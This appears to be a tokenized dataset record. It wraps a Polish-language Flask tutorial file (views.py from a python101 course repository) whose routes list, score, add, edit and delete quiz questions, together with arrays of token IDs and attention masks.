4229,
3009,
492,
16927,
434,
2448,
8882,
4437,
7223,
16790,
421,
199,
533,
1379,
2448,
607,
13187,
9298,
8,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
16927,
434,
2448,
8882,
4437,
7223,
16790,
1252,
8489,
342,
339,
347,
511,
63,
751,
63,
24450,
63,
374,
63,
1397,
63,
2064,
63,
1618,
63,
1589,
63,
923,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
358,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
511,
923,
18,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
18,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
922,
10209,
376,
24542,
1471,
506,
282,
6855,
328,
323,
641,
314,
1572,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
5500,
63,
14039,
63,
1114,
63,
1618,
63,
1589,
63,
923,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
358,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
6474,
365,
2575,
282,
3653,
402,
314,
1572,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
5500,
63,
14039,
63,
262,
433,
471,
63,
7911,
63,
1397,
63,
3853,
770,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
549,
9,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
267,
330,
12630,
14,
1875,
360,
1018,
14,
2448,
607,
13187,
297,
1572,
29,
396,
923,
12,
4847,
63,
991,
29,
1150,
63,
991,
12,
4847,
63,
475,
29,
1150,
63,
475,
9,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
6474,
365,
2575,
315,
433,
471,
370,
4263,
314,
1572,
12,
1325,
2985,
1172,
440,
9163,
770,
5966,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
981,
63,
2634,
63,
16340,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
549,
12,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
1397,
63,
981,
63,
2634,
63,
4399,
29,
7145,
14,
2131,
342,
446,
6871,
8,
4899,
29,
17,
430,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
14380,
2199,
4652,
1928,
31056,
4286,
637,
365,
440,
283,
355,
283,
6541,
641,
642,
9801,
20827,
14,
7754,
8966,
1265,
2518,
283,
355,
283,
2113,
14710,
340,
1265,
13516,
642,
365,
6835,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
10861,
63,
9105,
63,
1397,
63,
3306,
63,
17921,
63,
475,
63,
964,
63,
2634,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
797,
9,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170
] |
[
1639,
14,
1018,
492,
6016,
199,
504,
1639,
14,
1018,
14,
3924,
492,
8505,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
1208,
492,
7137,
199,
504,
1639,
14,
1208,
14,
7145,
492,
6871,
199,
504,
1639,
14,
3603,
492,
3837,
199,
504,
1402,
63,
27162,
994,
492,
330,
12630,
199,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
492,
4866,
382,
651,
63,
1018,
63,
66,
12630,
63,
15406,
465,
6170,
63,
66,
12630,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
14,
992,
492,
16927,
434,
2448,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
14,
992,
492,
5611,
607,
13187,
199,
504,
4866,
382,
651,
14,
2374,
382,
651,
63,
697,
1637,
14,
4229,
3009,
492,
16927,
434,
2448,
8882,
4437,
7223,
16790,
421,
199,
533,
1379,
2448,
607,
13187,
9298,
8,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
16927,
434,
2448,
8882,
4437,
7223,
16790,
1252,
8489,
342,
339,
347,
511,
63,
751,
63,
24450,
63,
374,
63,
1397,
63,
2064,
63,
1618,
63,
1589,
63,
923,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
358,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
511,
923,
18,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
18,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
922,
10209,
376,
24542,
1471,
506,
282,
6855,
328,
323,
641,
314,
1572,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
5500,
63,
14039,
63,
1114,
63,
1618,
63,
1589,
63,
923,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
358,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
6474,
365,
2575,
282,
3653,
402,
314,
1572,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
5500,
63,
14039,
63,
262,
433,
471,
63,
7911,
63,
1397,
63,
3853,
770,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
549,
9,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
267,
330,
12630,
14,
1875,
360,
1018,
14,
2448,
607,
13187,
297,
1572,
29,
396,
923,
12,
4847,
63,
991,
29,
1150,
63,
991,
12,
4847,
63,
475,
29,
1150,
63,
475,
9,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
1918,
6474,
365,
2575,
315,
433,
471,
370,
4263,
314,
1572,
12,
1325,
2985,
1172,
440,
9163,
770,
5966,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
981,
63,
2634,
63,
16340,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
549,
12,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
1397,
63,
981,
63,
2634,
63,
4399,
29,
7145,
14,
2131,
342,
446,
6871,
8,
4899,
29,
17,
430,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
680,
2407,
5500,
14,
751,
267,
4847,
63,
475,
275,
6170,
63,
66,
12630,
14,
9007,
8,
396,
923,
17,
680,
2407,
5500,
14,
751,
398,
543,
291,
14,
14638,
8,
355,
8505,
12,
355,
283,
14380,
2199,
4652,
1928,
31056,
4286,
637,
365,
440,
283,
355,
283,
6541,
641,
642,
9801,
20827,
14,
7754,
8966,
1265,
2518,
283,
355,
283,
2113,
14710,
340,
1265,
13516,
642,
365,
6835,
30194,
288,
24542,
275,
330,
12630,
14,
1875,
8,
355,
283,
1018,
14,
2448,
607,
13187,
297,
355,
1572,
29,
396,
923,
12,
355,
4847,
63,
991,
29,
1150,
63,
991,
12,
355,
4847,
63,
475,
29,
1150,
63,
475,
288,
776,
288,
24542,
14,
2861,
63,
3118,
342,
339,
347,
511,
63,
10861,
63,
9105,
63,
1397,
63,
3306,
63,
17921,
63,
475,
63,
964,
63,
2634,
8,
277,
304,
267,
511,
923,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
3044,
1676,
932,
363,
17921,
63,
2425,
63,
981,
63,
2634,
29,
797,
9,
267,
511,
923,
17,
275,
330,
12630,
14,
1875,
360,
1018,
14,
19321,
2448,
297,
1676,
932,
29,
396,
923,
14,
1708,
932,
9,
267,
4847,
63,
991,
275,
6170,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
koduj-z-klasa/python101
|
docs/webflask/quiz_orm/quiz2_pw/views.py
|
1
|
4117
|
# -*- coding: utf-8 -*-
# quiz-orm/views.py
from flask import render_template, request, redirect, url_for, abort, flash
from app import app
from models import Pytanie, Odpowiedz
from forms import *
@app.route('/')
def index():
"""Strona główna"""
return render_template('index.html')
@app.route('/lista')
def lista():
"""Pobranie wszystkich pytań z bazy i zwrócenie szablonu z listą pytań"""
pytania = Pytanie().select().annotate(Odpowiedz)
if not pytania.count():
flash('Brak pytań w bazie.', 'kom')
return redirect(url_for('index'))
return render_template('lista.html', pytania=pytania)
@app.route('/quiz', methods=['GET', 'POST'])
def quiz():
"""Wyświetlenie pytań i odpowiedzi w formie quizu oraz ocena poprawności
przesłanych odpowiedzi"""
if request.method == 'POST':
wynik = 0
for pid, odp in request.form.items():
odpok = Pytanie.select(Pytanie.odpok).where(
Pytanie.id == int(pid)).scalar()
if odp == odpok:
wynik += 1
flash('Liczba poprawnych odpowiedzi, to: {0}'.format(wynik), 'sukces')
return redirect(url_for('index'))
# GET, wyświetl pytania
pytania = Pytanie().select().annotate(Odpowiedz)
if not pytania.count():
flash('Brak pytań w bazie.', 'kom')
return redirect(url_for('index'))
return render_template('quiz.html', pytania=pytania)
def flash_errors(form):
"""Odczytanie wszystkich błędów formularza i przygotowanie komunikatów"""
for field, errors in form.errors.items():
for error in errors:
if type(error) is list:
error = error[0]
flash("Błąd: {}. Pole: {}".format(
error,
getattr(form, field).label.text))
@app.route('/dodaj', methods=['GET', 'POST'])
def dodaj():
"""Dodawanie pytań i odpowiedzi"""
form = DodajForm()
if form.validate_on_submit():
odp = form.odpowiedzi.data
p = Pytanie(pytanie=form.pytanie.data, odpok=odp[int(form.odpok.data)])
p.save()
for o in odp:
inst = Odpowiedz(pnr=p.id, odpowiedz=o)
inst.save()
flash("Dodano pytanie: {}".format(form.pytanie.data))
return redirect(url_for("lista"))
elif request.method == 'POST':
flash_errors(form)
return render_template("dodaj.html", form=form, radio=list(form.odpok))
def get_or_404(pid):
"""Pobranie i zwrócenie obiektu z bazy lub wywołanie szablonu 404.html"""
try:
p = Pytanie.select().annotate(Odpowiedz).where(Pytanie.id == pid).get()
return p
except Pytanie.DoesNotExist:
abort(404)
@app.errorhandler(404)
def page_not_found(e):
"""Zwrócenie szablonu 404.html w przypadku nie odnalezienia strony"""
return render_template('404.html'), 404
@app.route('/edytuj/<int:pid>', methods=['GET', 'POST'])
def edytuj(pid):
"""Edycja pytania o identyfikatorze pid i odpowiedzi"""
p = get_or_404(pid)
form = DodajForm()
if form.validate_on_submit():
odp = form.odpowiedzi.data
p.pytanie = form.pytanie.data
p.odpok = odp[int(form.odpok.data)]
p.save()
for i, o in enumerate(p.odpowiedzi):
o.odpowiedz = odp[i]
o.save()
flash("Zaktualizowano pytanie: {}".format(form.pytanie.data))
return redirect(url_for("lista"))
elif request.method == 'POST':
flash_errors(form)
for i in range(3):
if p.odpok == p.odpowiedzi[i].odpowiedz:
p.odpok = i
break
form = DodajForm(obj=p)
return render_template("edytuj.html", form=form, radio=list(form.odpok))
@app.route('/usun/<int:pid>', methods=['GET', 'POST'])
def usun(pid):
"""Usunięcie pytania o identyfikatorze pid"""
p = get_or_404(pid)
if request.method == 'POST':
flash('Usunięto pytanie {0}'.format(p.pytanie), 'sukces')
p.delete_instance(recursive=True)
return redirect(url_for('index'))
return render_template("pytanie_usun.html", pytanie=p)
|
mit
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
2173,
565,
13,
1025,
15,
4196,
14,
647,
199,
199,
504,
7209,
492,
3795,
63,
1160,
12,
1056,
12,
4660,
12,
1166,
63,
509,
12,
12004,
12,
14775,
199,
504,
1145,
492,
1145,
199,
504,
1709,
492,
1611,
12990,
1873,
12,
593,
68,
8278,
5299,
90,
199,
504,
4513,
492,
627,
421,
199,
32,
571,
14,
4449,
7825,
199,
318,
1478,
837,
272,
408,
2848,
265,
65,
486,
130,
225,
11980,
3501,
65,
624,
272,
372,
3795,
63,
1160,
360,
1080,
14,
1360,
358,
421,
199,
32,
571,
14,
4449,
2336,
513,
65,
358,
199,
318,
769,
65,
837,
272,
408,
1575,
66,
1312,
1873,
10900,
3605,
270,
75,
1158,
1134,
502,
130,
227,
1315,
19325,
3605,
284,
1315,
17097,
11980,
2497,
1873,
17176,
371,
5298,
85,
1315,
769,
129,
228,
1134,
502,
130,
227,
624,
272,
1134,
12990,
4674,
275,
1611,
12990,
1873,
1252,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
9,
272,
340,
440,
1134,
12990,
4674,
14,
835,
837,
267,
14775,
360,
17171,
75,
1134,
502,
130,
227,
336,
15507,
1873,
3130,
283,
75,
676,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
372,
3795,
63,
1160,
360,
513,
65,
14,
1360,
297,
1134,
12990,
4674,
29,
647,
12990,
4674,
9,
421,
199,
32,
571,
14,
4449,
2336,
392,
565,
297,
3102,
2968,
2970,
297,
283,
4030,
1105,
199,
318,
2173,
565,
837,
272,
408,
55,
89,
130,
250,
87,
14077,
552,
1873,
1134,
502,
130,
227,
284,
14467,
8278,
5299,
16079,
336,
1824,
1873,
2173,
565,
85,
503,
4651,
312,
2497,
65,
4560,
1773,
889,
130,
250,
559,
272,
5448,
90,
397,
130,
225,
1629,
335,
14467,
8278,
5299,
16079,
624,
272,
340,
1056,
14,
765,
508,
283,
4030,
356,
267,
336,
1236,
3258,
275,
378,
267,
367,
4422,
12,
312,
5780,
315,
1056,
14,
964,
14,
1744,
837,
288,
14467,
555,
75,
275,
1611,
12990,
1873,
14,
2416,
8,
2713,
12990,
1873,
14,
364,
555,
75,
680,
4509,
8,
355,
1611,
12990,
1873,
14,
344,
508,
1109,
8,
3150,
4992,
7033,
342,
288,
340,
312,
5780,
508,
14467,
555,
75,
26,
355,
336,
1236,
3258,
847,
413,
398,
14775,
360,
44,
530,
90,
2470,
4560,
1773,
9745,
335,
14467,
8278,
5299,
16079,
12,
370,
26,
469,
16,
5285,
908,
8,
87,
1236,
3258,
395,
283,
83,
3210,
823,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
327,
9576,
12,
336,
89,
130,
250,
87,
14077,
76,
1134,
12990,
4674,
272,
1134,
12990,
4674,
275,
1611,
12990,
1873,
1252,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
9,
272,
340,
440,
1134,
12990,
4674,
14,
835,
837,
267,
14775,
360,
17171,
75,
1134,
502,
130,
227,
336,
15507,
1873,
3130,
283,
75,
676,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
372,
3795,
63,
1160,
360,
392,
565,
14,
1360,
297,
1134,
12990,
4674,
29,
647,
12990,
4674,
9,
421,
199,
318,
14775,
63,
2550,
8,
964,
304,
272,
408,
47,
3833,
3605,
12990,
1873,
10900,
3605,
270,
75,
1158,
330,
130,
225,
129,
248,
68,
11980,
87,
1824,
2238,
8076,
284,
5448,
3605,
7808,
583,
290,
1873,
1022,
676,
324,
3258,
292,
11980,
87,
624,
272,
367,
901,
12,
2552,
315,
1824,
14,
2550,
14,
1744,
837,
267,
367,
1125,
315,
2552,
26,
288,
340,
730,
8,
705,
9,
365,
769,
26,
355,
1125,
275,
1125,
59,
16,
61,
288,
14775,
480,
34,
130,
225,
129,
228,
68,
26,
30332,
4376,
274,
26,
8352,
908,
8,
355,
1125,
12,
355,
2519,
8,
964,
12,
901,
680,
1302,
14,
505,
430,
421,
199,
32,
571,
14,
4449,
2336,
68,
364,
9091,
297,
3102,
2968,
2970,
297,
283,
4030,
1105,
199,
318,
366,
364,
9091,
837,
272,
408,
36,
364,
10084,
290,
1873,
1134,
502,
130,
227,
284,
14467,
8278,
5299,
16079,
624,
272,
1824,
275,
577,
364,
9091,
2821,
342,
272,
340,
1824,
14,
3502,
63,
265,
63,
7275,
837,
267,
312,
5780,
275,
1824,
14,
364,
8278,
5299,
16079,
14,
576,
267,
299,
275,
1611,
12990,
1873,
8,
647,
12990,
1873,
29,
964,
14,
647,
12990,
1873,
14,
576,
12,
14467,
555,
75,
29,
364,
80,
59,
442,
8,
964,
14,
364,
555,
75,
14,
576,
3948,
267,
299,
14,
2117,
342,
267,
367,
312,
315,
312,
5780,
26,
288,
2727,
275,
593,
68,
8278,
5299,
90,
8,
4812,
82,
29,
80,
14,
344,
12,
14467,
8278,
5299,
90,
29,
79,
9,
288,
2727,
14,
2117,
342,
267,
14775,
480,
36,
364,
8143,
1134,
12990,
1873,
26,
8352,
908,
8,
964,
14,
647,
12990,
1873,
14,
576,
430,
267,
372,
4660,
8,
633,
63,
509,
480,
513,
65,
2237,
272,
916,
1056,
14,
765,
508,
283,
4030,
356,
267,
14775,
63,
2550,
8,
964,
9,
339,
372,
3795,
63,
1160,
480,
68,
364,
9091,
14,
1360,
401,
1824,
29,
964,
12,
22008,
29,
513,
8,
964,
14,
364,
555,
75,
430,
421,
199,
318,
664,
63,
269,
63,
5188,
8,
3150,
304,
272,
408,
1575,
66,
1312,
1873,
284,
1315,
17097,
11980,
2497,
1873,
2607,
1873,
5973,
85,
1315,
19325,
3605,
634,
456,
336,
89,
2027,
130,
225,
290,
1873,
17176,
371,
5298,
85,
7901,
14,
1360,
624,
272,
862,
26,
267,
299,
275,
1611,
12990,
1873,
14,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
680,
4509,
8,
2713,
12990,
1873,
14,
344,
508,
4422,
680,
362,
342,
267,
372,
299,
272,
871,
1611,
12990,
1873,
14,
7400,
26,
267,
12004,
8,
5188,
9,
421,
199,
32,
571,
14,
705,
2232,
8,
5188,
9,
199,
318,
2034,
63,
1397,
63,
4214,
8,
69,
304,
272,
408,
58,
17097,
11980,
2497,
1873,
17176,
371,
5298,
85,
7901,
14,
1360,
336,
5448,
90,
2279,
350,
20661,
302,
1873,
312,
4272,
1895,
16079,
287,
4674,
620,
5220,
624,
272,
372,
3795,
63,
1160,
360,
5188,
14,
1360,
659,
7901,
421,
199,
32,
571,
14,
4449,
2336,
379,
89,
10963,
74,
8316,
442,
26,
3150,
4206,
3102,
2968,
2970,
297,
283,
4030,
1105,
199,
318,
3988,
89,
10963,
74,
8,
3150,
304,
272,
408,
37,
8161
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
2173,
565,
13,
1025,
15,
4196,
14,
647,
199,
199,
504,
7209,
492,
3795,
63,
1160,
12,
1056,
12,
4660,
12,
1166,
63,
509,
12,
12004,
12,
14775,
199,
504,
1145,
492,
1145,
199,
504,
1709,
492,
1611,
12990,
1873,
12,
593,
68,
8278,
5299,
90,
199,
504,
4513,
492,
627,
421,
199,
32,
571,
14,
4449,
7825,
199,
318,
1478,
837,
272,
408,
2848,
265,
65,
486,
130,
225,
11980,
3501,
65,
624,
272,
372,
3795,
63,
1160,
360,
1080,
14,
1360,
358,
421,
199,
32,
571,
14,
4449,
2336,
513,
65,
358,
199,
318,
769,
65,
837,
272,
408,
1575,
66,
1312,
1873,
10900,
3605,
270,
75,
1158,
1134,
502,
130,
227,
1315,
19325,
3605,
284,
1315,
17097,
11980,
2497,
1873,
17176,
371,
5298,
85,
1315,
769,
129,
228,
1134,
502,
130,
227,
624,
272,
1134,
12990,
4674,
275,
1611,
12990,
1873,
1252,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
9,
272,
340,
440,
1134,
12990,
4674,
14,
835,
837,
267,
14775,
360,
17171,
75,
1134,
502,
130,
227,
336,
15507,
1873,
3130,
283,
75,
676,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
372,
3795,
63,
1160,
360,
513,
65,
14,
1360,
297,
1134,
12990,
4674,
29,
647,
12990,
4674,
9,
421,
199,
32,
571,
14,
4449,
2336,
392,
565,
297,
3102,
2968,
2970,
297,
283,
4030,
1105,
199,
318,
2173,
565,
837,
272,
408,
55,
89,
130,
250,
87,
14077,
552,
1873,
1134,
502,
130,
227,
284,
14467,
8278,
5299,
16079,
336,
1824,
1873,
2173,
565,
85,
503,
4651,
312,
2497,
65,
4560,
1773,
889,
130,
250,
559,
272,
5448,
90,
397,
130,
225,
1629,
335,
14467,
8278,
5299,
16079,
624,
272,
340,
1056,
14,
765,
508,
283,
4030,
356,
267,
336,
1236,
3258,
275,
378,
267,
367,
4422,
12,
312,
5780,
315,
1056,
14,
964,
14,
1744,
837,
288,
14467,
555,
75,
275,
1611,
12990,
1873,
14,
2416,
8,
2713,
12990,
1873,
14,
364,
555,
75,
680,
4509,
8,
355,
1611,
12990,
1873,
14,
344,
508,
1109,
8,
3150,
4992,
7033,
342,
288,
340,
312,
5780,
508,
14467,
555,
75,
26,
355,
336,
1236,
3258,
847,
413,
398,
14775,
360,
44,
530,
90,
2470,
4560,
1773,
9745,
335,
14467,
8278,
5299,
16079,
12,
370,
26,
469,
16,
5285,
908,
8,
87,
1236,
3258,
395,
283,
83,
3210,
823,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
327,
9576,
12,
336,
89,
130,
250,
87,
14077,
76,
1134,
12990,
4674,
272,
1134,
12990,
4674,
275,
1611,
12990,
1873,
1252,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
9,
272,
340,
440,
1134,
12990,
4674,
14,
835,
837,
267,
14775,
360,
17171,
75,
1134,
502,
130,
227,
336,
15507,
1873,
3130,
283,
75,
676,
358,
267,
372,
4660,
8,
633,
63,
509,
360,
1080,
1333,
339,
372,
3795,
63,
1160,
360,
392,
565,
14,
1360,
297,
1134,
12990,
4674,
29,
647,
12990,
4674,
9,
421,
199,
318,
14775,
63,
2550,
8,
964,
304,
272,
408,
47,
3833,
3605,
12990,
1873,
10900,
3605,
270,
75,
1158,
330,
130,
225,
129,
248,
68,
11980,
87,
1824,
2238,
8076,
284,
5448,
3605,
7808,
583,
290,
1873,
1022,
676,
324,
3258,
292,
11980,
87,
624,
272,
367,
901,
12,
2552,
315,
1824,
14,
2550,
14,
1744,
837,
267,
367,
1125,
315,
2552,
26,
288,
340,
730,
8,
705,
9,
365,
769,
26,
355,
1125,
275,
1125,
59,
16,
61,
288,
14775,
480,
34,
130,
225,
129,
228,
68,
26,
30332,
4376,
274,
26,
8352,
908,
8,
355,
1125,
12,
355,
2519,
8,
964,
12,
901,
680,
1302,
14,
505,
430,
421,
199,
32,
571,
14,
4449,
2336,
68,
364,
9091,
297,
3102,
2968,
2970,
297,
283,
4030,
1105,
199,
318,
366,
364,
9091,
837,
272,
408,
36,
364,
10084,
290,
1873,
1134,
502,
130,
227,
284,
14467,
8278,
5299,
16079,
624,
272,
1824,
275,
577,
364,
9091,
2821,
342,
272,
340,
1824,
14,
3502,
63,
265,
63,
7275,
837,
267,
312,
5780,
275,
1824,
14,
364,
8278,
5299,
16079,
14,
576,
267,
299,
275,
1611,
12990,
1873,
8,
647,
12990,
1873,
29,
964,
14,
647,
12990,
1873,
